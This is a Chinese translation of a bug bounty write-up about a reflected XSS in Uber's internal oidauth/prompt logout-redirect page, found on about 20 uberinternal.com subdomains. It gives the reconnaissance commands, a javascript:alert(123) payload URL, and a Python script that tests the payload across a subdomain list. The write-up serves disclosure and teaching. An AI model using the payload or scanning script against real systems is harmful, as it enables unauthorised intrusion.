我是如何发现影响约20个Uber子域的XSS漏洞的
嗨,你好!
欢迎来看我写的我的第一个漏洞赏金,我不是天天去做漏洞赏金任务,特别是网络漏洞赏金,但它最近开始引起我的兴趣,所以我决定开始在Uber中寻找漏洞。
信息搜集
我开始收集关于的Uber信息,我注意到它们的内部系统在某个域名范围中(uberinternal.com的子域),所以我开始执行子域枚举,为此,我使用了aquatone,它发现了许多域,并收集了一些域的截图。
需要注意的是,大多数内部域都重定向到uber.onelogin.com用于认证登录。
众所周知,onelogin使用SAML身份验证,这非常有趣,因为在实现SAML的应用程序中发现过大量验证绕过漏洞,包括影响uber本身的一些漏洞。
我的第一个方向就是寻找SAML身份绕过漏洞,信不信由你,我本来打算从uchat系统开始,但是很遗憾,有人比我先发现了漏洞,这不是我第一次因为时机不对而丢失漏洞,所以没关系。让我们继续前进。
当您使用SAML登录时,一个请求被发送到身份验证服务,在我们的例子中是域名uber.onelogin.com,一旦成功登录uber.onelogin.com,它将会返回一个响应给指定的任意uberinternal.com的子域名,我感兴趣的正是从Onelogin返回的响应页面。
因此,让我们看一下在调用需要身份验证的页面时发生的重定向,您可以在下面的图像中看到,它向uber.onelogin.com传递了一个经过ba se64编码的SAMLRequest参数。
要解码返回参数的值,只需要一个在线工具,我们可以看到从uber.onelogin.com接收的响应中的链接。
此外,如果你想尝试一下,burpsuite还有一个好的SAML插件,它也有一些很好的先进的特性来测试SAML。
以上所述虽然很好,但是,我想做大量的目标测试,所以我创建了一个工具,收集一个URL列表,并返回URL对应的SAML,你可以在我的GITHUB帐户找到工具SAMLExtractor。
下一步是尝试绕过那个SAML认证,但是我运气不够好,所以我决定做别的事情,我决定搜索一下oidauth/目录,看看有没有更有趣的文件,因为我通过下面的命令使用dirsearch。
./dirsearch.py -u https://carbon-prototype.uberinternal.com:443/oidauth/ -ejson
漏洞
在执行目录暴力破解之后,我找到了下面的页面:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
这是一个注销页面,但为什么它很有趣呢。因为很多开发人员在注销页面中实现重定向,有时您可以在其中找到XSS漏洞,因此我打开了上面的链接,它将我重定向到以下页面
https://carbon-prototype.uberinternal.com/oidauth/prompt?ba se=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
其中ba se参数是获取一个URL,那么用经典ja vasc ript:alert(123)替换它,好看看它是否可以触发XSS?它通过单击页面中出现的链接来触发,并且同时因为该页面也容易受到点击劫持的攻击,所以这意味着您可以在攻击中结合这两个漏洞来利用(这在报告中详细解释)。
大规模利用
记住前面我告诉您我创建了一个工具,该工具可以获取URL列表,然后返回回调(SAML)URL。我决定向该工具提供uberinternal.com的所有子域,看看是否还有其他域使用相同的库。
接下来,我创建了一个脚本,调用存在漏洞的页面oidauth/prompt,尝试XSS攻击,如果攻击生效,它就会给我一个存在漏洞的消息。
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?ba se=ja vasc ript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
之后,我核实了存在漏洞的页面,并将第一份报告发送到Uber,在第一份报告之后,我有发现了两个以上易受攻击的子域,又发送了一个单独的报告。
原文链接:https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
最新评论